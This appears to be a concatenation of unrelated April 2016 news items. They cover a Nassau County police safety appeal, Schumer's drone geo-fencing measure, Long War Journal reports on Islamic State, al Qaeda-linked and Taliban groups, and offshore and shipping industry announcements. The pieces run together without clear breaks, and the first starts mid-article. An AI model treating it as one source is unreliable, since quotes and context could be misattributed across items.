All religious leaders should know that the Nassau County Police Department will take any and all threats to public safety seriously as nothing is more important than the safety of our residents, said Acting Police Commissioner Thomas Krumpter. It is critical that we all be aware of our surroundings and the See Something, Say Something initiative is a great way to raise awareness of such dangers and protect our citizens.

Passover is one of the most joyous holidays in the Jewish calendar and JCRC-LI is grateful to the County Executive's office and the Police Department for keeping all residents in Nassau County safe to celebrate our holidays and traditions, said Executive Director of the JCRC-LI Mindy Perlmutter, LCSW-R.

See Something, Say Something! Residents can help law enforcement by serving as an extra set of eyes and ears. Do not assume a package, bag or box was left somewhere by accident. If you see an unattended package, at or outside of a church, temple, train station, synagogue, mall or high traffic area  or if you see anything suspicious, report it. Let the police know immediately. Dial 911.

Remember dial 911 for any suspicious activity.
Local News, Press Releases

By Long Island News & PR Published: April 22 2016

U.S. Senator Charles E. Schumer today announced that a requirement to develop new safety standards for drones  that could include technology like geo-fencing that would keep drones away from sensitive areas -- passed the ...

Schumer pushed for drone safety language in FAA Reauthorization Legislation that has now passed the Senate. Geo-fencing could soon become law of the sky, according to Schumer.

Washington, DC - April 21, 2016 - U.S. Senator Charles E. Schumer today announced that a requirement to develop new safety standards for drones  that could include technology like geo-fencing that would keep drones away from sensitive areas -- passed the Senate 95-3 as part of the FAA Reauthorization Bill. Schumer helped lead the charge to include the drone safety language in the Federal Aviation Administration (FAA) Reauthorization Bill and cited this past weekends drone collision with a British Airways jet when making his final push for the geo-fencing proposal that has now passed.

The drone that just crashed into a British Airways plane showed us yet again, there is no time to waste in getting geo-fencing technology off the ground here in the U.S., said U.S. Senator Charles Schumer.Now that this drone-safety language has passed in the FAA bill, geo-fencing drone technology could soon be installed on every new drone, helping to stop them from flying near airports and other sensitive areas, while still allowing hobbyists to fly them in safe places.

The bill would require the FAA, in collaboration with industry and other stakeholders, to establish new safety standards for drones that Schumer says should support geo-fencing technology. In developing the standards, the FAA is required to consider technologies related to geographic limitations and altitude limitations, like geo-fencing and other similar technologies. Geo-fending could help to prevent drones from flying into No Fly Drone Zones, like airports, the Pentagon, major parades, large sporting eventssuch as the U.S. Open---and even planes themselves.

Geo-fencing or other similar technology, which Schumer has long-advocated for, limits where unauthorized drones can fly through the installation of built-in software, firmware and GPS tracking in the device. The technology helps take human error out of the equation. Manufacturers are already experimenting with placing this type of technology in their drones, however, Schumer said that all manufacturers should be required to take all reasonable steps to implement the software right away. Schumer said that, with this legislation, geo-fencing could be one step closer to becoming a requirement for drones.

Drones are unmanned aircraft systems (UAS) that fall under three categories denoted by the Federal Aviation Authority (FAA): civil, public and model aircraft. The public unmanned aircraft systems are used by government agencies, law enforcement agencies and research institutions to aid in their operations. Schumer said that drones are an incredibly important technology, and are helpful in collecting data, aiding with border patrol operations, agriculture, training the military and more.

The civil unmanned aircraft systems and the model aircraft systems provide opportunities for civilians to use drones recreationally, and for drones to be used for research and development. Schumer supports the use of drones under all of these categories, but said that there must be clear limits to their usage when privacy and safety are threatened. Schumer noted that drones have commercial applications that make them useful in terms of agricultural development, real estate sales and search and rescue missions. Specifically, drones can help farmers monitor their crops more effectively and may help realtors sell real estate by providing better photographs of for-sale properties. Drones can also aid in search and rescue missions by locating missing individuals. Schumer said that there are innumerable benefits to drone technology, however, there are also consequences to the lack of regulation.

The FAA is charged with developing general, binding rules for integrating drones into the national airspace. In light of a number of near-misses at New York City airports as well as numerous privacy concerns over the years, Schumer has long been an advocate for clearer guidelines on drone use. Since the FAA Modernization and Reform Act was passed in 2012 and established a special rule for model aircraft, Schumer has urged the FAA to release its proposed rule, which would distinguish between hobby and commercial drones, and outline the legal and illegal uses of commercial drones. On February 15th, the FAA released its draft rule on drones; Schumer said this was a good first step towards airspace safety, however, geo-fencing or other similar technological requirements are still necessary to improve the safety of our skies.

According to the FAA, reported pilot sightings of unmanned aircrafts have increased over the past year from a total of 238 in 2014 to more than 650 by August 9th 2015. Schumer said that these drone sightings are extremely troubling because a collision could put hundreds of airplane passengers and pilots in real danger. There have been several reported near-misses involving drones and airplanes in the New York metro area, impacting all three major airports.
Looking to stay up to date about all of the news stories and local headlines that are important to Long Islanders? We've rounded up the top coverage for all of the important topics from multiple sources around Long Island, so you can be sure you've got the most recent update on the top stories for Long Island. Have an idea for a news story? Email us at news@longisland.com

Columnists Press Releases
The Mujahideen Shura Council (MSC) released a short video showing Derna after its liberation from the Islamic State.

A media arm of the Islamic State concedes that the so-called caliphates fighters have retreated from their positions outside of Derna, Libya. The jihadists withdrew from their bases earlier this week under pressure from rival groups in the city and the Libyan military. [See LWJ report, Islamic State fighters retreat from bases outside Derna, Libya.]

Amaq News Agency, which provides updates on the Islamic States fighting around the globe, released a statement earlier today saying the Islamic States men have retreated from [Al Fatayih] area, near the coastal city of Derna in Libyas northeast.

Amaq portrays the move as a tactical withdrawal, saying Abu Bakr al Baghdadis followers succeeded in breaking through the siege imposed by combatants of the Shura Council of Revolutionaries in Derna (SCRD) by assaulting the Hilah area, south of Derna on April 18. Two martyrdom operations where carried out in Hilah. This supposedly led to the Islamic State taking control of all SCRD points in the area, capturing large amounts of weapons and ammunition, as well as killing many SCRD combatants, in addition to clearing the road taken by Islamic State fighters toward the desert areas in the south.

The Shura Council of Revolutionaries in Derna (SCRD) mentioned by Amaq is the Mujahideen Shura Council (MSC) in Derna and its allies. The MSC is an al Qaeda-linked alliance of jihadist groups that opposed the Islamic States expansion in the North African nation. The MSC pushed the Islamic States Libyan branch out of the heart of Derna last year, forcing Baghdadis loyalists to operate on the citys eastern outskirts in Al Fatayih.

Amaq notes that Al Fatayih, which is characterized by its ruggedness, remained a bastion for the fighters of the Islamic State for months on end, after they retreated from the city of Derna following a sudden military campaign [led] by the Fajr Libya government-backed SCRD against them.

Fajr Libya (Libya Dawn) is a coalition of Islamist militias. The Islamic State has repeatedly criticized Fajr Libya and the MSC (which Amaq refers to as the SCRD) for failing to pledge allegiance to Baghdadi and other reasons.

In the aftermath of the Islamic States withdrawal from Al Fatayih, the MSC has released a statement warning residents of the presence of improvised explosive devices (IEDs) in and around their homes. The MSC also posted a video online showing Derna and the surrounding area after its liberation. A screen shot from the video, which was likely recorded using a small commercial drone, can be seen above.

As Amaq reports, however, the Islamic States fighters continue to battle their way south of Derna. It is likely that some of them will make their way to the groups strongholds in Sirte or elsewhere. While Baghdadis organization failed to conquer Derna, it remains strong elsewhere in Libya.

Thomas Joscelyn is a Senior Fellow at the Foundation for Defense of Democracies and the Senior Editor for FDD's Long War Journal.

Are you a dedicated reader of FDD's Long War Journal? Has our research benefitted you or your team over the years? Support our independent reporting and analysis today by considering a one-time or monthly donation. Thanks for reading! You can make a tax-deductible donation here.
Harakat Sham al Islam, a Moroccan-founded group allied with al Qaeda and other Syrian jihadist organizations, appointed a new leader after its previous emir resigned due to his health and work-related issues. The jihadist group, founded by former Guantanamo Bay detainees, is listed by the US government as a specially designated global terrorist entity, and is known to operate a training camp in Syria.

Harakat Sham al Islam, or the Islamic Movement of Syria, issued a statement on its Twitter account on April 20 that announced the resignation of Abu Talha al Andalusi and the appointment of its new emir, Abu Muhammad al Baydawi. In addition to having served as the emir of Harakat Sham al Islam, Andalusi is also a deputy leader of the Ansar al Din Front, a coalition of jihadist groups that are primarily comprised of foreign fighters.

After a year and a half as the emir of the Harakat Sham al Islam and the deputy general officer of the Ansar al Din Front, and due to his health and work-related issues, Abu Talha al Andalusi submitted a request to be relieved from his responsibilities, according to a translation of the statement that was obtained by The Long War Journal. The shura council [central governing body] gathered to discuss this matter. It was agreed to appoint brother Abu Muhammad al Baydawi, as the emir of Harakat Sham al Islam.

It is unclear if Andalusis resignation also means that he is no longer a senior deputy in the Ansar al Din Front. If so, it is likely that he has been replaced by his successor, Baydawi.

Founded by Guantanamo detainees

Harakat Sham al Islam was founded in 2013 by Ibrahim bin Shakran, Ahmed Mizouz, and Mohammed Alami, three Moroccans who were captured in Afghanistan after the US invasion in 2001, detained at Guantanamo Bay, and then released to the custody of the Moroccan government in 2004. Bin Shakran was released despite an assessment by Joint Task Force Guantanamo that identified him as a high-ranking member of the theological commission of the Moroccan Islamic Combatant Group, an al Qaeda-affiliated terrorist organization.

The Moroccan government inexplicably released the three jihadist leaders sometime in late 2004. Bin Shakran and Mizouz immediately retuned to jihadist activities, were arrested and convicted of supporting terrorism in 2007, and then freed from prison after serving short sentences.

Bin Shakran, who is also known as Abu Ahmad al Maghribi, Abu Ahmad al Muhajir, and Brahim Benchekroune, led Harakat Sham al Islam up until he was killed while fighting alongside the Al Nusrah Front, Ahrar al Sham, and Muhajireen Army during an offensive against Syrian forces in the coastal province of Latakia in 2014. [See LWJ report, Former Guantanamo detainee killed while leading jihadist group in Syria, for more details on Bin Shakran.]

Alami, one of the groups cofounders, was killed in Syria in August 2013. Mizouz is still thought to be active within Harakat Sham al Islam.

The US government added Harakat Sham al Islam to its list of specially designated global terrorist entities in September 2014.

Part of a jihadist coalition that is linked to al Qaeda

Harakat Sham al Islam is known to have operated at least one training camp in Syria. In December 2014, the Ansar al Din Front released photographs of Harakat Sham al Islam fighters training in Latakia. It is unclear if the camp is still in operation.

The Ansar al Din Front is an alliance of four jihadist groups that was formed in 2014. Its constituent groups included the Jaish al Muhajireen wal Ansar, Harakat Sham al Islam, Al Katibah al Khadra, and Fajr al Sham. Al Katibah al Khadra folded into Jaish al Muhajireen wal Ansar, which has since openly sworn allegiance to the Al Nusrah Front.

The Ansar al Din Front fights alongside the Al Nusrah Front, al Qaedas official branch in Syria, and is closely allied to the global jihadist group. In early February 2016, the Ansar al Din Front issued a formal statement that mourned the death of its brother, Harith al Nadhari, a top sharia official in Al Qaeda in the Arabian Peninsula. Nadhari was killed in a US drone strike on Feb. 5. [See LWJ report, Rebel coalition in Syria mourns al Qaeda official killed in US airstrike in Yemen.]

We have been mired in grief upon receipt of the news of martyrdom of our brother, Sheikh Harith Bin Ghazi al Nadhari, in an oppressive crusader shelling of Muslims in general, and of the mujahideen in particular, the group said, according to a translation obtained by The Long War Journal.

The Ansar al Din Front also lamented the death of Abu Firas al Suri, a senior al Qaeda leader and member of Al Nusrah Fronts executive shura. The US killed Abu Firas in an airstrike earlier this month. The Pentagon stated that Abu Firas was a legacy al Qaeda member who fought in Afghanistan in the 80s and 90s and worked with Osama bin Laden and other founding al Qaeda members to train terrorists and conduct attacks globally.

Bill Roggio is a Senior Fellow at the Foundation for Defense of Democracies and the Editor of FDD's Long War Journal.

Are you a dedicated reader of FDD's Long War Journal? Has our research benefitted you or your team over the years? Support our independent reporting and analysis today by considering a one-time or monthly donation. Thanks for reading! You can make a tax-deductible donation here.
The Taliban says the exchange of Sgt. Bowe Bergdahl for five top Taliban commanders in 2014 was a major achievement in its war against the West and its allies. The claim was made in a lengthy video released on the Talibans official website, Voice of Jihad, earlier this month.

Footage from the exchange is shown early on in the production. The scenes include Bergdahl as he is about to be transferred to American forces and the five Taliban leaders being warmly greeted after their arrival in Qatar. Screen shots can be seen below.

As The Long War Journal has reported, all five of the Taliban commanders exchanged for Bergdahl had ties to al Qaeda prior to their detention in Cuba. [See LWJ report, Sgt. Bowe Bergdahl exchanged for top 5 Taliban commanders at Gitmo.]

Norullah Noori and Mohammad Fazl were both senior Taliban military commanders in Afghanistan. Khairullah Khairkhwa was the governor of the Herat province and one of Mullah Omars trusted lieutenants. Abdul Haq Wasiq was a senior Taliban intelligence official. And Mohammad Nabi Omari was allegedly part of a joint Taliban and al Qaeda cell that targeted US and Coalition forces. Joint Task Force Guantanamo (JTF-GTMO), which oversees the detention facility, deemed all five jihadists to be high risks to the US, its interests and allies.

Bergdahl was initially taken into custody by Taliban fighters after he wandered off an American outpost in the Paktika province in June 2009. He was then held for years by the Haqqani Network, which is part of the Taliban coalition and closely allied with al Qaeda. Siraj Haqqani, who leads the network, is one of the Talibans top two deputies and has also worked with senior al Qaeda leaders. Siraj has even held a seat on al Qaedas elite shura (advisory) council.

The Talibans video is intended to highlight the jihadists progress in Paktika, a province in southeastern Afghanistan on the border with Pakistan. The people of Paktika have long resisted foreign invaders, according to the Taliban, including the Soviets in the 1980s and the Americans beginning in late 2001.

The propaganda production highlights footage of martyrdom operatives training, a class on how to build improvised explosive devices, and a suicide bomber detonating a car packed with explosives.

A brief montage of the infidels' alleged crimes against the Islamic nation is also shown. A photo of American soldiers inside a mosque is included, as is an image of Florida pastor Terry Jones, who made a name for himself by burning Korans.

But much of the video focuses on the Talibans military operations in several of Paktikas districts.

The Talibans shadow governor for Paktika, Hafez Belal Fateh (seen on the right), speaks at least twice in the video. In one clip, he is pictured sitting between two armed guards. Fateh portrays the Taliban as being united behind Mullah Akhtar Muhammad Mansour, who became the groups emir after Mullah Omars death was publicly exposed in 2015. Fateh also claims that the Afghan people are aiding the Talibans fighters in their insurgency against the Afghan government and its coalition partners.

The video ends with a recording of Mansour, who vows that the Taliban will continue to wage jihad until an Islamic state is resurrected in Afghanistan.

Screenshots from Taliban video:

The five Taliban leaders being greeted in Qatar after their transfer from Guantanamo:

Thomas Joscelyn is a Senior Fellow at the Foundation for Defense of Democracies and the Senior Editor for FDD's Long War Journal.

Are you a dedicated reader of FDD's Long War Journal? Has our research benefitted you or your team over the years? Support our independent reporting and analysis today by considering a one-time or monthly donation. Thanks for reading! You can make a tax-deductible donation here.
Russia could supply air defence systems and other equipment to the Indian Vikrant-class aircraft carrier currently under construction, says a report by IANS.

The first of the Vikrant-class aircraft carriers, the INS Vikramaditya, is Russian-built. The second vessel of the class, INS Vikrant, is set to become Indias first indigenous carrier.

However, according to Viktor Kladov, the head of Russian conglomerate Rostec, India still needs Russias technical assistance in various aspects of the INS Vikrant project.

Guidance systems, air defense systems, as well as various systems of airborne weaponry, including anti-aircraft, could be supplied on board the aircraft carrier. An aircraft carrier is a vast platform and we have something to offer to our partners, Kladov told RIA Novosti in an interview.

Russia will sign a joint manufacturing contract with India for 200 Ka-226T light utility multirole helicopters before the end of the year, the head of the Russian state technology corporation Rostecs international cooperation department said.
The National Ocean Industries Association (NOIA) elected 14 industry leaders to its Board of Directors on April 21, 2016 during its Annual Meeting in Washington, DC.



Appointed to first term on the Board of Directors:

Galen Cobb, Vice President Industry Relations, Halliburton

Gene Coleman, Executive Vice President Global Offshore Operations, Murphy Oil Corporation

Gary Luquette, President and Chief Executive Officer, Franks International, N.V.

Kirk Meche, President and Chief Executive Officer, Gulf Island Fabrication, Inc.

Erik Oswald, Vice President Americas, ExxonMobil Exploration Corporation

Tom Teipner, President North America, Schlumberger

David Williams, Chairman, President and Chief Executive Officer, Noble Corporation



Reappointed to the Board of Directors for a second term:

Doss Bourgeois, President and Chief Executive Officer, Freeport-McMoRan Oil & Gas, LLC

Robb Erickson, Vice President Sales Heavy Marine Transport, Dockwise USA, LLC

Matt McCarroll, President and Chief Executive Officer, Fieldwood Energy, LLC

Richard Morrison, Regional President Gulf of Mexico, BP America, Inc.

W. Matt Ralls, Executive Chairman, Rowan Companies, Inc.



Appointed to the Executive Committee of the Board of Directors:

Cappy Bisso, Chairman of the Board, Bisso Marine, LLC

Jeff Platt, President and Chief Executive Officer, Tidewater, Inc.
Seaspan Corporation announced today that David Spivak is joining the Company as its Chief Financial Officer, starting May 2, 2016. Mark Chu will continue to serve as interim CFO until David's arrival, whereupon Mark will continue in his current roles as Vice President, Corporate Development and General Counsel.



David has over 20 years of corporate finance and global capital markets experience. From 1995 to 2012, he worked at Citigroup, serving in various roles, including as a Managing Director in the Investment Banking and Equity Capital Markets Groups as well as the Canadian Head of Global Capital Structuring and Chief Operating Officer of Citigroup Global Markets Canada. From 2005 to 2009, David was based in New York and led Citigroup's equity capital markets business in the aircraft leasing, maritime and SPAC sectors. Most recently, he served as President and Founder of Brockstreet Consulting, where he advised companies on corporate finance matters.



David holds a Bachelor of Commerce (Honours) degree with Distinction from the University of Manitoba and an MBA with High Honors from the University of Chicago. He is a Certified Public Accountant (inactive) and currently serves as a Director of Hoegh LNG Partners LP.



Gerry Wang, Chief Executive Officer, Co-Chairman and Co-Founder of Seaspan, stated, "We are pleased to welcome David to Seaspan as our new CFO. He has extensive corporate finance and capital markets experience and has been a trusted advisor to the company for over 10 years. We also thank Mark for his leadership as interim Chief Financial Officer and for his ongoing contributions to Seaspan."



Mr. Spivak added, "I am looking forward to joining Seaspan. The Company has grown significantly since its initial public offering in 2005 and has a proven business model and long track record of innovation."


The National Ocean Industries Association (NOIA) Board of Directors has elected Kevin McEvoy as Chairman and Dave Welch as Vice Chairman for the upcoming 2016-2017 term. McEvoy and Welch assumed their positions at the NOIA Annual Meeting today in Washington, D.C.



Since 2011, McEvoy has served as Chief Executive Officer of Oceaneering International, Inc., global provider of engineered services and products, primarily to the offshore oil and gas industry, with a focus on deepwater applications. He also serves on the companys board of directors, and was the NOIA Vice Chairman for the 2015-2016 term.



I am honored for the opportunity to serve as Chairman of NOIA. With low commodity prices and a tough regulatory environment, this is a critical time for the offshore energy industry, said McEvoy. While we face significant challenges, I am confident we can overcome them. I look forward to working alongside NOIA members to fight for consistent, transparent, and productive federal policies that allow for the continued development of all energy sources in all areas of the OCS.



Welch becomes the first producer to serve as Vice Chairman in NOIAs history. In 2004, Welch joined Stone Energy Corporation, an independent oil and natural gas exploration and production company. He is the Chairman, President and Chief Executive Officer for Stone Energy. Welch has also previously served on NOIAs board of directors.



Welch said, It is a great privilege to continue serving NOIA in this new capacity. I look forward to working with Kevin, Randall, and the NOIA membership in continuing NOIAs mission to promote the safe development of offshore energy for the continued growth and security of the United States.



NOIA President Randall Luthi said, NOIA works to secure a fair and reliable regulatory environment offshore and to increase access to the energy resources of the nations Outer Continental Shelf. Our industry already provides much needed jobs, is the source of vital revenue streams for federal, state and local governments, and produces domestic energy for our nation. Despite the current low commodity prices and restrictive regulatory environment, we know U.S. energy holds great potential for the future. As we wrap up the current administration, and look towards the next, NOIA leadership is in fine hands with Kevin and Dave. Their combined experience, knowledge of the industry and ability to advocate before key policymakers, will leverage our reach and impact as an association. We look forward to the coming year.



Luthi concluded, This last year brought some of the lowest commodity prices in a generation, but also the future opportunity to export oil and natural gas throughout the world. We were most fortunate to have Cindy Taylor, President and CEO of Oil States International as our Chairman to lead us through the tumultuous times. Under her watch, NOIA continued to press for more offshore access and against the growing threat of regulatory burdens that may stifle the availability of safe, affordable, and reliable oil and natural gas. Taylor will remain active on the NOIA board of directors.



This year the faces change, but the quality doesnt. It is tribute to our industry that these leaders are willing to contribute their valuable time to serve NOIA and its members.



McEvoy has been with Oceaneering for 37 years, serving as CEO since May 2011. During his tenure at Oceaneering, he has held a variety of progressively more responsible domestic and international positions in marketing, administration, and operations, including President, COO, Executive VP, Senior VP and VP. He started his offshore career as an officer in the U.S. Navy working in the areas of diving, salvage, and submarine rescue. He has undergraduate degrees in Biology and Geology from Brown University and an MBA from Texas A&M University.



Prior to joining Stone Energy Corporation, David held executive positions with Amoco and later BP, including Director of Strategic Planning, President of the Amoco Gulf Group, Senior VP of BP North America and President of BP Alaska Canada Gas. He also spent 5 years with the US Geological Survey and one year as an adjunct professor at Tulane University in the graduate school. Welch studied petroleum engineering at LSU and Colorado School of Mines, economics and chemical engineering at Tulane, and business at Harvard.
Flinterstar III BV, the owner of the Dutch freighter MV Flinterstar, has entered into a contract with a consortium of Belgian marine contractors to remove the wreck of the vessel which sank in the North Sea off the coast of Zeebrugge following a collision last October.

The consortium will be headed by SCALDIS, a joint company of DEME, Jan De Nul and Herbosch-Kiere. Bart Otto, Director of Flinterstar lll BV, said: Our primary concern has been that the wreck removal operation should be undertaken in the safest and most environmentally sensitive manner possible. With that in mind, we have been impressed throughout the tender process with the professional approach adopted by SCALDIS and their joint venture partners. We are confident that now the operation has been placed in their capable hands, it will go forward smoothly and be completed on schedule this summer.

Martin Ockier, Board Member of SCALDIS: As SCALDIS was involved in the successful wreck removal of the TRICOLOR, we will apply the valuable experience gained to execute th optimum, bespoke method to the retrieval of MV Flinterstar. Our approach will be the most effective, safest and environmentally sensitive. The methodology will ensure that the duration of the offshore operation is kept as short as possible and causes the minimum possible interference to the shipping traffic. Environmental concerns were also fully evaluated in organizing the appropriate disposal method of the wreck sections and cargo ashore.

Now the contract has been awarded, SCALDIS will start the detailed preparation and mobilization phases in order to commence on-site operations as quickly as possible in the coming weeks.

At present, although the wreck is upright on the seabed, it is separated into two sections. In brief, the overall methodology is based on lifting the two sections from the seabed and placing each section onto a barge. It is SCALDIS intention to first remove the cargo. Simultaneously, the lifting points and/or lifting chains/slings will be installed underneath the wreck. Each wreck section will be lifted by SCALDIS powerful, 3300 tonne capacity Rambiz heavy lift vessel and positioned onto a transport barge then transported for appropriate disposal. It is anticipated the wreck removal operation will be completed this summer - weather permitting.

Flinterstar is a 2002 built Dutch flagged cargo/container ship, which had a collision with LNG tanker mv Al Oraiq in the buoyed fairway Scheur, in the approaches to Zeebrugge, in the early morning hours of October 6th 2015.

Shortly after the collision MV Flinterstar, partly loaded with construction steel and crane parts, grounded outside the channel, to the southeast of buoy Scheur 3. Since November 2nd, a guard vessel, operated by the Authorities, has remained permanently on scene.

In January 2016, the Authorities issued a wreck removal order, as the vessel was perceived to present a potential danger to shipping and the environment.
The Centre for International Law (CIL) at the National University of Singapore (NUS) and the Maritime and Port Authority of Singapore (MPA) will be setting up a joint research programme to build up institutional expertise in ocean governance and to spearhead thought leadership in areas critical to bolster Singapores global maritime knowledge hub status.

CIL received a three-year research grant of S$1.56 million from the Singapore Maritime Institute (SMI) supported by MPA to establish the CIL-MPA Oceans Governance Research Programme.

The dynamic and complex challenges facing the shipping industry brought about by stricter regulations, climate change, growing number of vessels and new technologies require maritime leaders to challenge conventional modes of thinking.

Research activities under the programme will focus on three areas: Arctic shipping governance; transit passage regimes under the United Nations Convention on the Law of the Sea (UNCLOS); and marine environmental governance.

Professor Robert Beckman, CIL Director, said, We are pleased to have the opportunity to expand our research programme in oceans law and policy through this grant. As a major flag State and port State and an active member of the International Maritime Organisation, Singapore has an interest in ensuring that the international legal regime governing international shipping ensures the safety of navigation, addresses threats to maritime security, and minimises the risk of ship-source pollution.

Andrew Tan, Chief Executive of MPA said, Having established the Centre for Maritime Law and MPA Professorship in Maritime Law at NUS Faculty of Law in September 2015, we are pleased to deepen our partnership with one of Asias leading universities in jointly developing a three-year maritime research programme at NUS Centre for International Law.

He added: "As a leading global hub port and one of the worlds largest ship registries, Singapore can contribute to better understanding of maritime law, ocean governance and emerging issues such as Arctic shipping that impact on the international maritime community.
Commercial ships have been told to avoid shipping routes around Indonesia and Philippines amid fears that piracy could be reaching Somalian levels, according to Reuters.

Luhut Pandjaitan, Chief Security Minister for Indonesia, said: "We don't want to see this become a new Somalia.

A spate of kidnappings and pirate attacks in the waterways between Indonesia, Malaysia and the Philippines has prompted the three countries to explore the option of having joint patrols.

The waters form part of major shipping arteries that carry US$40 billion worth of cargo a year, analysts say, and the corridor is used by fully laden supertankers from the Indian Ocean that cannot use the crowded Malacca Strait waterway.

A total of 18 Indonesians and Malaysians have been taken captive in three separate attacks on tugboats in Philippine waters along the route, by groups suspected of ties to the al-Qaeda linked Abu Sayyaf militant network in the Philippines.

The Indonesian Navy has instructed all commercial vessels "to avoid piracy-prone waters around the southern Philippines", a spokesman for the Indonesian military said.

Piracy is currently an issue of concern for maritime companies and affiliates globally, since levels have persisted in 2015 in comparison to 2014.
Norwegian industrial holding company Aker expects to conduct more acquisitions and other transactions in coming years, the firm's top owner said on Friday.



"At Aker, and companies owned by Aker, the transaction activity will probably increase," billionaire investor Kjell Inge Roekke, who holds 67 percent of the company's shares, wrote in an annual letter to his fellow shareholders.



Over the past year, Aker's investment team has been presented with an unusually high number of projects and companies seeking investors, and is prepared to take part in transactions and restructurings, he added.



Roekke has an estimated net wealth of 11.1 billion crowns ($1.36 billion) according to financial periodical Kapital, which in 2015 ranked him Norway's ninth-richest person.



"Our focus will be on industries where Aker has experience and which we believe we're good at, but I won't exclude the possibility that Aker under the right circumstances would consider deploying capital in new segments," Roekke wrote.



Energy-related investments will remain key, with a particular focus on oil and gas, the letter said.



Aker is the top owner of a range of listed firms including oil company Det norske, oil services firms Aker Solutions and Kvaerner, fisheries company Havfisk, shipping firm American Shipping, vessel owner Ocean Yield and Philly Shipyard .



Reporting by Terje Solsvik
Norwegian oil major Statoil presented a new subsea concept that is designed to reduce cost and increase efficiency. The concept is called Cap-X.

The concept was presented by Margareth vrum, executive vice president for technology, projects and drilling in Statoil.

During the last decade subsea costs have increased significantly and the industry needs to move from tailor-made solutions to more industry standards.

"Once again we aim to drive subsea technology development on the Norwegian continental shelf together with our industry partners. The potential for increased efficiency and reduced costs can make this the next standard within subsea templates," says Margareth vrum.

"With Cap-X, Statoil is one step closer to a plug and play solution on the seabed."

Cap-X is a combination of existing and new technology. It is  the size of todays subsea templates and enables more operations from vessel instead of rig.

The technology increases the efficiency of horizontal drilling in shallow reservoirs. The main structure of the technology can be produced in shorter time by a larger number of suppliers, with potential for local production.

The development of Cap X was initiated in 2013 to increase commerciality of potential resources in the Barents Sea.

We as explorers need to find resources that can be developed at a lower cost and with lower emissions. Cap-X can potentially have a significant impact on developing the resources in the Barents Sea and in other areas with shallow reservoirs, says Jez Averty, senior vice president for the exploration Norway and UK cluster in Statoil.
China and South Korea held talks on delimiting their overlapping exclusive economic zones (EEZs) in the Yellow Sea  the first such discussions in seven years.

Chinese Vice Foreign Minister Liu Zhenmin talked to his South Korean counterpart, Cho Tae-yul on maritime demarcation.

Yonhap, the Korean news agency, described the mood as amicable, but quoted Cho as saying that the negotiations are very difficult and important.

Chinese foreign ministry says a reasonable and fair solution between the two countries is significant to the regional peace and stability.

Foreign Ministry spokeswoman Hua Chunying said: "To fairly and properly demarcate the China-Republic of Korea (ROK) maritime boundary through negotiations and consultations is of great significance to upholding tranquillity and stability of the waters and to consolidating and growing friendly bilateral cooperation."

President Xi Jinping and his ROK counterpart Park Geun-hye agreed to start the talks in July 2014 during Xi's visit to the ROK.

Beijing believes that the ownership of Suyan Rock, a submerged feature in the East China Sea in the exclusive economic zones claimed by both China and the ROK, should be determined through negotiation. The countries agree that the rock does not have territorial status, the Foreign Ministry has said.
The National Ocean Industries Association (NOIA) today named Oceaneering International, Inc. as the recipient of the 2016 Safety-in-Seas (SIS) Safety Practice Award. Kevin McEvoy, CEO of Oceaneering International, accepted the award at the NOIA annual meeting in Washington, DC.



We are very pleased to be selected for this prestigious recognition. Through rigorous risk analysis with our customer, we developed multiple redundant, fail-safe systems to safely conduct these complex subsea operations in deep water, said Kevin McEvoy, CEO of Oceaneering International, Inc.



Oceaneering was recognized for the innovative and incident-free completion of a subsea well stimulation campaign, using a multipurpose service vessel instead of a work-over rig.



NOIA President Randall Luthi said, "The offshore industry serves a vital role in meeting the nation's energy needs. Oceaneerings innovative and incident-free achievement demonstrates their continued commitment to performing essential services while delivering an unparalleled record of safety and operational competency. I congratulate Oceaneering on this achievement and for their valuable contribution to the safety enhancement of the offshore service industry.



Oceaneerings award-winning entry was selected by an independent panel of judges from the U.S. Coast Guard, the Bureau of Safety and Environmental Enforcement, the National Academy of Sciences Transportation Review Board, and an industry safety consultant.



Since 1978, NOIA has held the SIS awards competition to recognize those who have contributed to improving the safety of life in the offshore energy industry. The Culture of Safety Award was added to the competition in 2014 to honor overall organizational immersion in and commitment to safety, which has resulted in remarkable, measurable, and sustained safety performance over a prolonged period of time.
The International Chamber of Shipping (ICS) has welcomed progress made by the IMO Marine Environment Committee (MEPC) this week (April 18-22) towards the adoption of a global CO2 data collection system.



Once the amendment to the MARPOL Convention enters in force, all ships over 5,000 GT will be required to provide information on CO2 emissions via their flag states.



ICS says that once the system is adopted, IMO Member States will be in a better position to consider the development of additional CO2 reduction measures and respond to the Paris Agreement on climate change.



Most of the details have been agreed, including the important fact that CO2 reporting will be mandatory. We are confident that the IMO system will be fully adopted at the next MEPC meeting in October said ICS Secretary General, Peter Hinchliffe. We believe that IMO Member States have agreed an acceptable compromise between governments primarily interested in data on fuel consumption and CO2 and those that wish to collect additional information, for example on so called transport work.



Speaking from IMO, Mr Hinchliffe added The priority now is to persuade the European Union to adjust its unilateral regulation on the reporting and verification of individual ship emissions to make it compatible with what has now been agreed at IMO. While this may be an uphill struggle, we have been encouraged by the constructive attitude taken by EU Member States this week, as well as those other nations that initially had concerns about the decision to make the IMO system mandatory.



CO2 Reduction Commitments

In a separate submission to the MEPC meeting, ICS responded to the Paris Agreement on climate change with a radical proposal that IMO should develop an Intended IMO Determined Contribution for CO2 reduction on behalf of the sector. This would mirror the commitments or Intended National Determined Contributions (INDCs) which governments have made for their national economies, but from which international transport is currently excluded.



ICS says its proposal was well received by a number of IMO Member States and will be taken forward to the October meeting with other submissions made by governments and others with respect to how IMO should respond to the Paris Agreement.
Shipbuilders Council: Proposed Budget Enables Naval Forward Presence and Protects U.S. National Security Interests.



The Shipbuilders Council of America (SCA) today recognized the House Armed Services Seapower Subcommittee for its robust markup of the 2017 shipbuilding budget. Under the proposal, the Navys shipbuilding budget would be increased to $19.9 billion and a separate account, the National Sea Based Deterrent Fund, will receive $773 million to buy the new Ohio submarine replacement Program.



The House Armed Services Seapower Subcommittees markup is a reflection of the real need to build more ships for our U.S. Navy, said Matthew Paxton, President of the SCA. The forward presence of our Navy to facilitate commerce and project peace in international waters is critical and the Subcommittees proposal to build more ships is essential to maintain this important capacity in the future. In addition to investing in our Navy, the Subcommittee is also investing in our shipyard industrial base, and these dollars would go a long way to bring stability to the shipyards, suppliers and manufacturers that build and maintain these vessels for our armed forces.



The Subcommittee authorized $2.3 billion more than the Presidents budget request and included language to accelerate the construction of aircraft carriers and to boost the construction of Navy surface vessels, including the additional procurement of ten major ships including an additional LCS, amphibious ship and a destroyer.



